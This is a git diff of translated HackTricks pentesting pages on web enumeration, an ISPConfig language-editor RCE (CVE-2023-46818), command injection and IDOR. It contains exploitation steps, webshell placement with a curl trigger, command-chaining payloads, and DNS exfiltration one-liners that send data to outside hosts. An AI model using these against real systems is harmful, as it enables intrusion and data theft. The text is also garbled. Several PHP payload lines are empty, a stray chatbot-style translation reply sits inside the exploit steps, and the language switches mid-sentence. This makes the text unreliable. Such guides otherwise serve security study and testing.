wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - raft-large-directories-lowercase.txt - directory-list-2.3-medium.txt @@ -267,83 +268,83 @@ Hulpmiddels: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit moet brute-forced word._ +_Sien dat elke keer as 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._ -### Wat om op elke lêer te kontroleer +### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word. -- **Lêer Backups**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek. -- _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke links binne HTMLs wat vatbaar kan wees vir takeovers. +- **File Backups**: Sodra jy al die files gevind het, kyk vir backups van uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die naam van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.** +- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. Indien moontlik, probeer om versteekte parameters op elke uitvoerbare web-lêer te soek.** +- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Kommentaaren:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind. -- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek. -- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang. -- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html). +- **Comments:** Kontroleer die comments van alle files; jy kan **credentials** of **versteekte funksionaliteit** vind. +- As jy 'n **CTF** doen, is 'n "algemene" truuk om **inligting** te **verberg** binne comments regs van die bladsy (gebruik **honderde** spasiekarakters sodat jy die data nie maklik sien as jy die bron met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n kommentaar onder in die bladsy te verberg. +- **API keys**: As jy enige API key vind bestaan daar gidse hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: As jy 'n API key vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter apis die sleutel kan toegang gee. +- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomain** of enige **link** verband hou met 'n **S3 bucket**. In daardie geval, [**check** the **permissions** of the bucket](buckets/index.html). -### Spesiale bevindings +### Special findings -**Terwyl** jy die **spidering** en **brute-forcing** uitvoer, kan jy **interessante** **dinge** vind wat jy moet **oplet**. +**Terwyl** jy die **spidering** en **brute-forcing** uitvoer kan jy **interessante** **vind** wat jy moet **aandui**. -**Interessante lêers** +**Interesting files** -- Soek na **skakels** na ander lêers binne die **CSS** lêers. -- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md) -- As jy 'n _**.env**_ vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word. -- As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk. -- **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is te monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** -- Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is. -- **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) +- Kyk vir **links** na ander files binne die **CSS** files. +- [If you find a _**.git**_ file some information can be extracted](git.md) +- As jy 'n _**.env**_ vind, kan inligting soos api keys, db-wagwoorde en ander inligting gevind word. +- As jy **API endpoints** vind, [should also test them](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos lêers lyk. +- **JS files**: In die spidering afdeling is verskeie tools genoem wat paaie uit JS files kan onttrek. Dit sal ook interessant wees om **elke JS file wat gevind is te monitor**, aangesien 'n verandering soms 'n potensiële kwesbaarheid in die kode kan aandui. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.** +- Jy moet ook ontdekte JS files toets met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te vind of dit kwesbaar is. +- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Op verskeie geleenthede sal jy die **regulêre uitdrukkings** wat gebruik word moet **begryp**. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex) -- Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui. +- In baie gevalle sal jy die regulêre uitdrukkings moet verstaan wat gebruik word. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex) +- Jy kan ook **monitor** die files waarin vorms gedetecteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui. -**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)** +**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** {{#ref}} 403-and-401-bypasses.md {{#endref}} -**502 Proxy Fout** +**502 Proxy Error** -As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het. +As enige bladsy met daardie **code** reageer, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP request stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ te benader en jy het 'n SSRF gevind. -**NTLM Verifikasie - Inligtingsontdekking** +**NTLM Authentication - Info disclosure** -As die bediener wat om verifikasie vra **Windows** is of jy 'n aanmeld vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligtingsontdekking** veroorsaak.\ -**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\ -Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_". +As die aanmeldende server vir authentication vra en dit 'n **Windows** bediener is of jy vind 'n login wat vir jou **credentials** vra (en vra vir die **domain** **name**), kan jy 'n **inligtingslek** veroorsaak.\ +**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe **NTLM authentication** werk, sal die server met interne inligting (IIS version, Windows version...) in die header "WWW-Authenticate" reageer.\ +Jy kan dit **automate** met die **nmap plugin** "_http-ntlm-info.nse_". -**HTTP Oorleiding (CTF)** +**HTTP Redirect (CTF)** -Dit is moontlik om **inhoud** binne 'n **Oorleiding** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaiers die oorleiding sal uitvoer) maar iets kan **versteek** wees daarin. +Dit is moontlik om **inhoud** binne 'n **Redirect** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die omleiding uitvoer) maar iets kan daar **weggesteek** wees. -### Web Kwesbaarhede Kontroleer +### Web Vulnerabilities Checking -Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n klomp moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind: +Nou dat 'n omvattende enumerasie van die web toepassing uitgevoer is, is dit tyd om vir baie moontlike kwesbaarhede te toets. Jy kan die checklist hier vind: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Vind meer inligting oor web kwesbaarhede in: +Find more info about web vulns in: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Monitor Bladsye vir veranderinge +### Monitor Pages for changes -Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat kwesbaarhede kan invoeg. +Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat moontlik kwesbaarhede kan invoeg. -### HackTricks Outomatiese Opdragte +### HackTricks Automatic Commands ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md new file mode 100644 index 000000000..d9efe516f --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -0,0 +1,91 @@ +# ISPConfig + +{{#include ../../banners/hacktricks-training.md}} + +## Oorsig + +ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x builds het 'n taal-lêerredigeerderfunksie gehad wat, wanneer dit vir die super administrator geaktiveer is, willekeurige PHP-kode-inspuiting toegelaat het via 'n foutiewe vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation. + +Belangrike standaardpaaie: +- Web root is dikwels by `/var/www/ispconfig` wanneer dit met `php -S` of via Apache/nginx bedien word. +- Admin UI is bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig). + +Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), port-forward dit: +```bash +ssh -L 9001:127.0.0.1:8080 user@target +# then browse http://127.0.0.1:9001 +``` +## Language editor PHP code injection (CVE-2023-46818) + +- Geaffekteer: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Voorvereistes: +- Meld aan as die ingeboude superadmin-rekening `admin` (ander rolle word nie geraak volgens die verskaffer nie) +- Taalredigeerder moet geaktiveer wees: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impak: Geverifieerde admin kan ewekansige PHP inspuit wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig + +References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. + +### Handmatige uitbuitingsvloei + +1) Open/create a language file to obtain CSRF tokens + +Stuur 'n eerste POST om die vorm te initialiseer en ontleed die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. + +2) Inject PHP via records[] and save + +Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimale opdrag-uitvoerings toetse: +```http +POST /admin/language_edit.php HTTP/1.1 +Host: 127.0.0.1:9001 +Content-Type: application/x-www-form-urlencoded +Cookie: ispconfig_auth=... + +lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= +``` +Out-of-band toets (hou ICMP dop): +```http +records[]= +``` +3) Skryf lêers en plaas 'n webshell + +Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-bereikbare pad (bv., `admin/`): +```http +records[]= +``` +Skryf dan 'n eenvoudige webshell wat base64 gebruik om slegte karakters in die POST body te vermy: +```http +records[]= +``` +Ek het nie toegang tot jou lêers nie. Plak asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md hier, en ek sal dit na Afrikaans vertaal terwyl ek alle markdown-, HTML-tags, skakels, paaie en kode ongewysig laat. +```bash +curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' +``` +As PHP uitgevoer word as root (bv. via `php -S 127.0.0.1:8080` wat deur root begin is), lei dit tot onmiddellike root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker. + +### Python PoC + +'n klaar-vir-gebruik exploit outomatiseer tokenhantering en payload-aflewering: +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) + +Voorbeelduitvoering: +```bash +python3 cve-2023-46818.py http://127.0.0.1:9001 admin +``` +### Verharding + +- Opgradeer na 3.2.11p1 of 'n later weergawe +- Skakel die taalredigeerder uit tensy dit absoluut nodig is: +``` +admin_allow_langedit=no +``` +- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om bevoegdhede te verlaag +- Handhaaf sterk outentisering vir die ingeboude `admin`-rekening + +## Verwysings + +- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) +- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) +- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) +- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 8cdd26e82..2e5b4989c 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## Wat is opdraginjektering? +## What is command Injection? -'n **opdraginjektering** laat die uitvoering van arbitrêre bedryfstelselsopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller tipies in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. +A **command injection** laat 'n aanvaller toe om arbitrêre bedryfstelsel-kommando's op die bediener wat 'n toepassing huisves, uit te voer. Gevolglik kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie kommando's stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en die onderliggende stelsel te verkry. -### Konteks +### Context -Afhangende van **waar jou invoer ingesluit word**, mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte. +Afhangend van **waar jou invoer ingespuit word** mag dit nodig wees om die **aangehaalde konteks te beëindig** (met `"` of `'`) voordat die kommando's uitgevoer word. -## Opdraginjektering/Uitvoering +## Command Injection/Execution ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe) ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º ls %0A id # %0A Execute both (RECOMMENDED) +ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs) #Only unix supported `ls` # `` @@ -29,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Beperkings** Bypasses +### **Limition** Bypasses -As jy probeer om **arbitraire opdragte binne 'n linux masjien** uit te voer, sal jy belangstel om oor hierdie **Bypasses** te lees: +As jy probeer om **arbitrary commands inside a linux machine** uit te voer, sal jy belangstel om te lees oor hierdie **Bypasses:** {{#ref}} @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parameters -Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soortgelyke RCE kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE-kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -74,9 +75,9 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soort ?run={payload} ?print={payload} ``` -### Tydgebaseerde data-uitvloeiing +### Time based data exfiltration -Data onttrek: karakter vir karakter +Uittrek van data: char vir char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS gebaseerde data eksfiltrasie +### DNS based data exfiltration -Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca +Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` ook aangebied op dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Aanlyn gereedskap om vir DNS-gebaseerde data-uitvloeiing te kontroleer: +Aanlyn-gereedskap om te kontroleer vir DNS-gebaseerde data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filtrering omseiling +### Omseiling van filtrering #### Windows ``` @@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Wanneer jy JavaScript/TypeScript agterkant toets, sal jy dikwels die Node.js `child_process` API teëkom. +Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js `child_process` API teëkom. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` skep 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateer word. +`exec()` spawns a **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateer word. -**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en verskaf **elke argument as 'n aparte array element** sodat geen shell betrokke is: +**Mitigation:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en verskaf **elke argument as 'n aparte array-element** sodat geen shell betrokke is: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,20 +140,22 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was uitbuitbaar deur 'n ongeauthentiseerde WebSocket-gebeurtenis wat deur die aanvaller beheerde data in `id_user` geplaas het, wat later in 'n `exec()`-oproep ingesluit is en RCE bereik het (Pwn2Own Ireland 2024). -## Brute-Force Detection List +## Brute-Force detectielys {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## References +## Verwysings - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index ad56f0375..3c61bd30a 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -1,24 +1,24 @@ -# IDOR (Onveilige Direkte Objektverwysing) +# IDOR (Insecure Direct Object Reference) {{#include ../banners/hacktricks-training.md}} -IDOR (Onveilige Direkte Objektverwysing) / Gebroke Objektvlak Owerheid (BOLA) verskyn wanneer 'n web- of API-eindpunt 'n gebruiker-beheerde identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te verkry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te benader/wysig. -Suksesvolle uitbuiting laat normaalweg horisontale of vertikale voorregverhoging toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volle rekeningoorname of massadata-uitvloeiing. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer 'n web of API-endpoint 'n gebruiker-beheerbare identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te kry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te toegang/wysig. +Suksesvolle uitbuiting laat gewoonlik horizontale of vertikale privilege-escalation toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volledige rekeningoorname of mass-data exfiltration. --- -## 1. Identifisering van Potensiële IDORs +## 1. Identifisering van potensiële IDORs -1. Soek na **parameters wat 'n objek verwys**: -* Pad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Navraag: `?id=42`, `?invoice=2024-00001` -* Liggaam / JSON: `{"user_id": 321, "order_id": 987}` -* Koptekste / Koekies: `X-Client-ID: 4711` -2. Verkies eindpunte wat **data lees of opdateer** (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Let op wanneer identifiseerders **sekwensieel of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik. -4. Verken verborge of alternatiewe vloei (bv. *"Paradox spanlede"* skakel in aanmeldbladsye) wat ekstra API's mag blootstel. -5. Gebruik 'n **geverifieerde lae-voorreg sessie** en verander slegs die ID **terwyl jy dieselfde token/koekie hou**. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR. +1. Soek na **parameters wat na 'n objek verwys**: +* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* Query: `?id=42`, `?invoice=2024-00001` +* Body / JSON: `{"user_id": 321, "order_id": 987}` +* Headers / Cookies: `X-Client-ID: 4711` +2. Verkies endpoints wat **lees of opdateer** data (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Let wanneer identifiseerders **opeenvolgend of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik. +4. Verken versteekte of alternatiewe vloei (bv. *"Paradox team members"* skakel op login-bladsye) wat ekstra APIs kan blootstel. +5. Gebruik 'n **geauthentiseerde laag-privilege sessie** en verander slegs die ID terwyl jy **dieselfde token/cookie** behou. Die afwesigheid van 'n authorization error is gewoonlik 'n teken van IDOR. -### Vinige handmatige tampering (Burp Repeater) +### Vinnige handmatige manipulasie (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Geoutomatiseerde enumerasie (Burp Intruder / curl lus) +### Geoutomatiseerde enumerasie (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -37,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ done ``` --- -## 2. Werklike Gevalstudie – McHire Chatbot Platform (2025) -Tydens 'n assessering van die Paradox.ai-gedrewe **McHire** werwingsportaal is die volgende IDOR ontdek: +### Error-response oracle for user/file enumeration + +Wanneer 'n download endpoint beide 'n username en 'n filename aanvaar (bv. `/view.php?username=&file=`), skep subtiele verskille in foutboodskappe dikwels 'n oracle: + +- Nie-bestaande username → "User not found" +- Slegte filename maar geldige extensie → "File does not exist" (soms lys dit ook beskikbare lêers) +- Slegte extensie → valideringsfout + +Met enige geverifieerde sessie kan jy die username-parameter fuzz terwyl jy 'n onskadelike filename gebruik en filter op die "user not found" string om geldige gebruikers te ontdek: +```bash +ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ +-b 'PHPSESSID=' \ +-w /opt/SecLists/Usernames/Names/names.txt \ +-fr 'User not found' +``` +Sodra geldige gebruikersname geïdentifiseer is, versoek spesifieke lêers direk (bv., `/view.php?username=amanda&file=privacy.odt`). Hierdie patroon lei gewoonlik tot 